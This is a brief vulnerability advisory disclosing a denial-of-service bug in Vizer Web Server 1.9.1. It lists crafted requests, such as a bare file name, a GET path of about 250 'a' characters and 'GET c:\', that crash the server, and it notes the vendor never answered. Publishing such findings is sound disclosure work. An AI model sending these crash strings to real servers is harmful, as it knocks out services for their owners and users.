Denial Of Service in Vizer Web Server 1.9.1

["Donato Ferrante" <fdonato () autistici org>]

                          Donato Ferrante


Application:  Vizer Web Server
              http://sourceforge.net/projects/vizerwebserver/

Version:      1.9.1

Bug:          Denial Of Service

Author:       Donato Ferrante
              e-mail: fdonato () autistici org
              web:    www.autistici.org/fdonato


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1. Description
2. The bug
3. The code
4. The fix



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1. Description:
----------------

Vendor's Description:

"Vizer is an open source web server written in Visual Basic."



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2. The bug:
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The program doesn't well menage the input strings received, so an
attacker is able to crash the web server, sending a crafted string.



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3. The code:
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To test the vulnerability, send to the web server a string like:

index.htm
( without specifying GET and HTTP )

or:

GET /aaaaaa[ 250 of a ]aaa HTTP/1.1
( specifying GET and HTTP )

GET /aaaaaa[ 250 of a ]aaa
( specifying only GET )

or:

GET c:\
( specifying only GET )



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4. The fix:
------------

No fix.
The vendor has not answered to my signalations.



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